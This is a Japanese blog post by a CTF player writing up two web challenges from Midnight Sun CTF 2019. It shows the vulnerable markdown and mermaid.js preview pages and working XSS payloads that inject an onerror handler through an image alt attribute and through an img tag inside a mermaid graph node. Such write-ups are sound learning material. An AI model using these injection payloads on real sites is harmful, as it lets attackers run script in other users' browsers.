teppay’s log

*について書きます

Midnight Sun CTF 2019 Writeup

はじめに

  • 就活やらなんやらが落ち着いたのでひっさしぶりにCTFをやった
  • 簡単なのしか解けなかったけど楽しかった

Writeup

Marcodowno[Web]

こんなページでユーザの操作なしにalert(1)をPopできるURLを見つけて提出しなさいという問題.

<head>
<meta charset="UTF-8">
<link rel="stylesheet" href=" [/static/style.css](http://marcodowno-01.play.midnightsunctf.se:3001/static/style.css) " />
<script src=" [https://code.jquery.com/jquery-3.3.1.slim.min.js](https://code.jquery.com/jquery-3.3.1.slim.min.js) "></script>
</head>

<script>
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

function markdown(text){
text = text.replace(/[<]/g, '').replace(/----/g,'<hr>').replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>').replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>').replace(/__([^_]+)__/g, '<b>$1</b>').replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>').replace(/\* ([^*]+)/g, '<li>$1</li>').replace(/##### ([^#\n]+)/g, '<h5>$1</h5>').replace(/#### ([^#\n]+)/g, '<h4>$1</h4>').replace(/### ([^#\n]+)/g, '<h3>$1</h3>').replace(/## ([^#\n]+)/g, '<h2>$1</h2>').replace(/# ([^#\n]+)/g, '<h1>$1</h1>').replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>').replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>').replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>').replace(/`([^`]+)`/g, '<code>$1</code>').replace(/```([^`]+)```/g, '<code>$1</code>').replace(/\n/g, "<br>");
return text;
}

window.onload=function(){
$("#markdown").text(input);
$("#rendered").html(markdown(input));
}

</script>

<h1>Input:</h1><br>
<pre contenteditable id="markdown" class="background-grey"></pre><br>
<br>
<button onclick='$("#rendered").html(markdown($("#markdown").text()))'>Update preview</button>
<hr>
<br>
<h1>Preview:</h1><br>
<div id="rendered" class="rendered background-grey"></div>

このページではJavaScriptのreplaceのみでMarkdownをHTMLに変換してPreviewしている.

シンプルに<script>alert(1)</script>を入力してみたけど,

.replace(/[<]/g, '')

これに引っかかってうまく行かなかった.

imgタグに変換するためのこの部分に着目すると

.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')

画像URLの部分は制限が厳しいが,alt属性の方はガバガバなのでここでXSSができる よってペイロード

![aaa" onerror="alert(1)](http://example.com)

よって解答URLは

http://marcodowno-01.play.midnightsunctf.se:3001/markdown?input=![aaa" onerror="alert(1)](http://example.com)

Marcozuckerbergo[Web]

この問題は上の問題におけるMarkdownがmermaid.jsへの入力を指定して好きな図を表示することができるWebアプリケーションで,上の問題と同様にalert(1)を実行するURLを見つける問題.

<head>
<meta charset="UTF-8">
<link rel="stylesheet" href=" [/static/style.css](http://marcozuckerbergo-01.play.midnightsunctf.se:3002/static/style.css) " />
<script src=" [https://code.jquery.com/jquery-3.3.1.slim.min.js](https://code.jquery.com/jquery-3.3.1.slim.min.js) "></script>
<script src=" [https://cdnjs.cloudflare.com/ajax/libs/mermaid/8.0.0/mermaid.min.js](https://cdnjs.cloudflare.com/ajax/libs/mermaid/8.0.0/mermaid.min.js) "></script>
<script>mermaid.initialize({startOnLoad:false});</script>
</head>

<script>
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

window.onload=function(){
$("#markdown").text(input);
$("#render").text($("#markdown").text());
mermaid.init(undefined, $("#render"));
}

function rerender(){
try{
$("#render").html();$("#render").removeAttr("data-processed");$("#render").text($("#markdown").text());mermaid.init(undefined, $("#render"));
}catch(x){
$("#render").html("<font id='error' color=red></font>");
$("#error").text(x);
}
}

</script>

<h1>Input:</h1><br>
<pre contenteditable id="markdown" class="background-grey"></pre><br>
<br>
<button onclick='rerender()'>Update preview</button>
<hr>
<h1>Preview:</h1>
<div id="render" class="mermaid"></div>

これはMarcodownoと同様にimgタグを使えば良い 参考にしたサイト→ javascript - How to embed an image in a node with "mermaid.js" - Stack Overflow よってペイロードは以下の通り

graph LR;
Systemstart-->SomeIcon(<img src='http://example.com' onerror='alert`1`'/>)